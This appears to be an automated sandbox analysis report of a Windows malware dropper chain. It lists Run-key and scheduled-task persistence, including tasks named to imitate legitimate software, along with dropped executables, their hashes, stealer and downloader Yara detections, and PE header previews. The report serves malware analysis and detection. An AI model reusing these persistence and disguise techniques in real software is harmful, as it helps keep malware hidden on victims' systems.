11:08:01	API Interceptor	16075116x Sleep call for process: skotes.exe modified
11:08:14	API Interceptor	8x Sleep call for process: c7af53ccad.exe modified
11:08:45	API Interceptor	165x Sleep call for process: 3275f9fb1e.exe modified
11:08:57	API Interceptor	1264930x Sleep call for process: 1375bfecca.exe modified
11:09:08	API Interceptor	472x Sleep call for process: 7847e34378.exe modified
11:09:17	API Interceptor	2x Sleep call for process: 05ca246288.exe modified
16:07:14	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
16:08:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3275f9fb1e.exe C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe
16:08:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3275f9fb1e.exe C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe
16:08:56	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7847e34378.exe C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe
16:09:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 59f3adca26.exe C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe
16:09:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2de5083afa.exe C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe
16:09:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7847e34378.exe C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe
16:09:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 59f3adca26.exe C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe
16:09:42	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
16:09:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2de5083afa.exe C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe
16:09:52	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
16:09:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2cbfce84b4.exe C:\Users\user\AppData\Local\Temp\1007235001\2cbfce84b4.exe
16:10:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3f3c305e91.exe C:\Users\user\AppData\Local\Temp\1007237001\3f3c305e91.exe
16:10:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2cbfce84b4.exe C:\Users\user\AppData\Local\Temp\1007235001\2cbfce84b4.exe
16:10:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3f3c305e91.exe C:\Users\user\AppData\Local\Temp\1007237001\3f3c305e91.exe
16:10:44	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
16:14:26	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 66a4a33cef.exe C:\Users\user\AppData\Local\Temp\1016977001\66a4a33cef.exe
16:14:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 66a4a33cef.exe C:\Users\user\AppData\Local\Temp\1016977001\66a4a33cef.exe
16:14:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 42c1f5a508.exe C:\Users\user\AppData\Local\Temp\1016978001\42c1f5a508.exe
16:14:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ecb53e9018.exe C:\Users\user\AppData\Local\Temp\1016979001\ecb53e9018.exe
16:14:59	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f1defb90a2.exe C:\Users\user\AppData\Local\Temp\1016980001\f1defb90a2.exe
16:15:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 42c1f5a508.exe C:\Users\user\AppData\Local\Temp\1016978001\42c1f5a508.exe
16:15:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ecb53e9018.exe C:\Users\user\AppData\Local\Temp\1016979001\ecb53e9018.exe
16:15:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f1defb90a2.exe C:\Users\user\AppData\Local\Temp\1016980001\f1defb90a2.exe

Process:	C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAt92n4M9XKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:ML9E4Ke84qXKDE4KhKiKhIE4Ks
MD5:	783B5197F36053BBA046C2EF2515F80E
SHA1:	49CB890E4C6536FD79EF1C7BE83949509B37A824
SHA-256:	9513A3E5E55C5471F606E5E0B06C46CD4E357F46602BBF43F24E1E70572F5F91
SHA-512:	6ACD461D38A8F665E6CF4B585B720ABEB0B3F8556C817E576991DF758D9FFE68479B2E634EB60223C7B7909F34C7A1853F13F0CEE3CB4F7C5951228A91BE24C4
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	967680
Entropy (8bit):	6.697107681620325
Encrypted:	false
SSDEEP:	24576:zqDEvCTbMWu7rQYlBQcBiT6rprG8aYfAd:zTvC/MTQYxsWR7aY
MD5:	4E38B1008D236084740A6C44FBC4EBF6
SHA1:	FC8BD7F661E78127932BF4F0FED8651044C3EC28
SHA-256:	D18EE20816FEBB7F9C68C906651376A94130383B54CC739AA9CBE55A9C4659BF
SHA-512:	E5D0445F8C1DE74A66934F4E21784FD4AB2D7BBE05047A5C2D826A3AABA8047F76CB084BEC23BB7A243D68FCEE72310541AAFDE2818B84EDF703D59DAE93EF7E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....bg..........".................w.............@.......................... ............@...@.......@.....................d...\|....@...X.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....X...@...Z..................@..@.reloc...u.......v...N..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1856000
Entropy (8bit):	7.948785625010247
Encrypted:	false
SSDEEP:	49152:aSTnZE0KU3kAGkAgt8mMDCyqZAtoTMIqFfKpPExxymC:FTnZE9U3kAGkAdmMlQqbIgT
MD5:	6A31EF4963E7F7D4FCC0927F58A5DBF2
SHA1:	08180799961431FD8FBE0E32C1147D560AB258AD
SHA-256:	E0BB02C3593DF3FB9B89B57840ABF4C80DC7A3951EFE4804C23FEB13F3E1C34A
SHA-512:	4A796C9D2DC9C16F471D51E68C5E50BA40A179444A1ECF7BEAAEB823BF46B973EA6CA4A421D899AABC7A1EE331832C654D788882627BBB4EC77340EE87F7169B
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................`I...........@...........................I..........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... .@..@.......^..............@...vqaioxrs....../......`..............@...pnhfyvew.....PI......,..............@....taggant.0...`I.."...0..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2903552
Entropy (8bit):	6.511442224982899
Encrypted:	false
SSDEEP:	49152:Y5RZ8GbXISm7tLVnzcG1LPrMf36Q3GpJgjyWUd:YTZ8GbXISm7thnYG17wf36N
MD5:	3BB75CB881E430E48EC13D73D43ABE49
SHA1:	DFFCAD869A875B9FA9A142BEDF34D781DB72E709
SHA-256:	1E632D695C7204F2B42E9CE49001D02C81AAD32216B0375F94E710F6190AEB6A
SHA-512:	8BFD4B91C00B20E3CBCEA3D0C19F80AF8813FE5142EB59B30827E3BCA0308B70F40754288345FA7B10DE49E949792E81F084994E83197D857EF248F8F29D6EEB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O.......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...nsggqmkp.....$.....\|..............@...lrehquiq.....pO......(,.............@....taggant.0....O.."...,,.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4441600
Entropy (8bit):	7.983485469397422
Encrypted:	false
SSDEEP:	98304:4Ha58BJIGJlaZO5+OFpubzo4p3BRTPb5Nk/B8R:47wbz97PDkJ
MD5:	8841698B335573B0ABE7875B85B653D6
SHA1:	E74926DCB5B7E996D4F4961A763D2C4D8E8E24D0
SHA-256:	490FC3AC1830A381350813AD614C258EB761886AAD612879A592461EDFFD719B
SHA-512:	2F8941AAF2724687E70F4C742AC2F3A2009DF18776D8E182A3042EB33422463DF109E1E666D8F8A66CD7F6312E86AA9DD4A127C5559E04CBD57A6DA51077E037
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@..........................0........D...@... ............................._.a.s.....a....................................................p...................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...zsoqbvfv.P.......L...T(.............@...mzkcudvk.............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1731584
Entropy (8bit):	7.934737871189128
Encrypted:	false
SSDEEP:	49152:wuv4rfcPlfKYDWJ1n0ahyGYX0A2eDauq:J4rENi/J1nthy10AFOuq
MD5:	7BE93AFF7CEF5AD80C82706349B7FED3
SHA1:	3ECEE88FE03D1128FDD9687AADFEFBC30422881E
SHA-256:	03758FCDBA856326A849EFFDA02AA9185AB135B95C1C0854E9EC7D2D3889C0F3
SHA-512:	7D620E39F4D1498765F733078C41F2DB5C5F273E2E8781BFC517AEE9D444BD6CBBA817F0C925A95C2ACB76F6F4467FA56A8306F6D372E321E7E1C69495A25DB0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@E.. ...`....@.. ........................E......C....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... .`*..........8..............@...ovwuuiwl. ....+......:..............@...aeypuusq. ... E......F..............@....taggant.@...@E.."...J..............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4441600
Entropy (8bit):	7.983485469397422
Encrypted:	false
SSDEEP:	98304:4Ha58BJIGJlaZO5+OFpubzo4p3BRTPb5Nk/B8R:47wbz97PDkJ
MD5:	8841698B335573B0ABE7875B85B653D6
SHA1:	E74926DCB5B7E996D4F4961A763D2C4D8E8E24D0
SHA-256:	490FC3AC1830A381350813AD614C258EB761886AAD612879A592461EDFFD719B
SHA-512:	2F8941AAF2724687E70F4C742AC2F3A2009DF18776D8E182A3042EB33422463DF109E1E666D8F8A66CD7F6312E86AA9DD4A127C5559E04CBD57A6DA51077E037
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@..........................0........D...@... ............................._.a.s.....a....................................................p...................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...zsoqbvfv.P.......L...T(.............@...mzkcudvk.............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1856000
Entropy (8bit):	7.948785625010247
Encrypted:	false
SSDEEP:	49152:aSTnZE0KU3kAGkAgt8mMDCyqZAtoTMIqFfKpPExxymC:FTnZE9U3kAGkAdmMlQqbIgT
MD5:	6A31EF4963E7F7D4FCC0927F58A5DBF2
SHA1:	08180799961431FD8FBE0E32C1147D560AB258AD
SHA-256:	E0BB02C3593DF3FB9B89B57840ABF4C80DC7A3951EFE4804C23FEB13F3E1C34A
SHA-512:	4A796C9D2DC9C16F471D51E68C5E50BA40A179444A1ECF7BEAAEB823BF46B973EA6CA4A421D899AABC7A1EE331832C654D788882627BBB4EC77340EE87F7169B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................`I...........@...........................I..........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... .@..@.......^..............@...vqaioxrs....../......`..............@...pnhfyvew.....PI......,..............@....taggant.0...`I.."...0..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2903552
Entropy (8bit):	6.511442224982899
Encrypted:	false
SSDEEP:	49152:Y5RZ8GbXISm7tLVnzcG1LPrMf36Q3GpJgjyWUd:YTZ8GbXISm7thnYG17wf36N
MD5:	3BB75CB881E430E48EC13D73D43ABE49
SHA1:	DFFCAD869A875B9FA9A142BEDF34D781DB72E709
SHA-256:	1E632D695C7204F2B42E9CE49001D02C81AAD32216B0375F94E710F6190AEB6A
SHA-512:	8BFD4B91C00B20E3CBCEA3D0C19F80AF8813FE5142EB59B30827E3BCA0308B70F40754288345FA7B10DE49E949792E81F084994E83197D857EF248F8F29D6EEB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@...........................O.......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...nsggqmkp.....$.....\|..............@...lrehquiq.....pO......(,.............@....taggant.0....O.."...,,.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	967680
Entropy (8bit):	6.697107681620325
Encrypted:	false
SSDEEP:	24576:zqDEvCTbMWu7rQYlBQcBiT6rprG8aYfAd:zTvC/MTQYxsWR7aY
MD5:	4E38B1008D236084740A6C44FBC4EBF6
SHA1:	FC8BD7F661E78127932BF4F0FED8651044C3EC28
SHA-256:	D18EE20816FEBB7F9C68C906651376A94130383B54CC739AA9CBE55A9C4659BF
SHA-512:	E5D0445F8C1DE74A66934F4E21784FD4AB2D7BBE05047A5C2D826A3AABA8047F76CB084BEC23BB7A243D68FCEE72310541AAFDE2818B84EDF703D59DAE93EF7E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....bg..........".................w.............@.......................... ............@...@.......@.....................d...\|....@...X.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc....X...@...Z..................@..@.reloc...u.......v...N..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1731584
Entropy (8bit):	7.934737871189128
Encrypted:	false
SSDEEP:	49152:wuv4rfcPlfKYDWJ1n0ahyGYX0A2eDauq:J4rENi/J1nthy10AFOuq
MD5:	7BE93AFF7CEF5AD80C82706349B7FED3
SHA1:	3ECEE88FE03D1128FDD9687AADFEFBC30422881E
SHA-256:	03758FCDBA856326A849EFFDA02AA9185AB135B95C1C0854E9EC7D2D3889C0F3
SHA-512:	7D620E39F4D1498765F733078C41F2DB5C5F273E2E8781BFC517AEE9D444BD6CBBA817F0C925A95C2ACB76F6F4467FA56A8306F6D372E321E7E1C69495A25DB0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@E.. ...`....@.. ........................E......C....`.................................U...i....`..D........................................................................................................... . .@... ....... ..............@....rsrc...D....`.......2..............@....idata . ...........6..............@... .`*..........8..............@...ovwuuiwl. ....+......:..............@...aeypuusq. ... E......F..............@....taggant.@...@E.."...J..............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3034624
Entropy (8bit):	6.511947962087485
Encrypted:	false
SSDEEP:	49152:j5i0B6cfbpQIZyuOO26+iiaSwVgQJwXBUdlOauf7w:jb6cflfSiXNOtRUxuT
MD5:	17773F6AB422D27012D0F813EEC77035
SHA1:	E148F243044C22DD5374D41D4D9C5AE066C454CF
SHA-256:	34B764F92F6AA319F62BF730E82F02A914CDA5C7D7FA665C20A8F2C5430ACC4A
SHA-512:	6E0F75CEA50DD43EB019FA5EB66D7E92262B2A7FDC12AB872AFBD6339C069856427CE0E7CFD86FCBF17943D7C180A15CE12A9799561330173F485CAFAA4ACE88
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................02.....'.....@.................................W...k.............................1.............................T.1..................................................... . ............................@....rsrc...............................@....idata ............................@...exbexgpl.@+......2+.................@...obzesrhz......1......(..............@....taggant.0....2.."...,..............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9880
Entropy (8bit):	5.532136304767798
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Jhj4qyaaX86KakfGNBw82JSl:deDquOcwj0
MD5:	4F973538C88BAA78EDA3D8845111442C
SHA1:	F2BA244A43AB8AA3FF3BC2B8D97EB94FE3A552FF
SHA-256:	E6701187266172C425FF07DB296366F4E9228A25F641115AAF429EFDDC3BCCFA
SHA-512:	8CA0EDDC8AC745A1B275F75F3F6E6DF5137096857559E6388737C8430D11D3836B18DA9ED4B91B3A67905AF72073B99E9A6B317EE68FF72BF73108D751B5A43A
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9880
Entropy (8bit):	5.532136304767798
Encrypted:	false
SSDEEP:	192:qnaRtZYbBp6Jhj4qyaaX86KakfGNBw82JSl:deDquOcwj0
MD5:	4F973538C88BAA78EDA3D8845111442C
SHA1:	F2BA244A43AB8AA3FF3BC2B8D97EB94FE3A552FF
SHA-256:	E6701187266172C425FF07DB296366F4E9228A25F641115AAF429EFDDC3BCCFA
SHA-512:	8CA0EDDC8AC745A1B275F75F3F6E6DF5137096857559E6388737C8430D11D3836B18DA9ED4B91B3A67905AF72073B99E9A6B317EE68FF72BF73108D751B5A43A
Malicious:	false
Reputation:	unknown
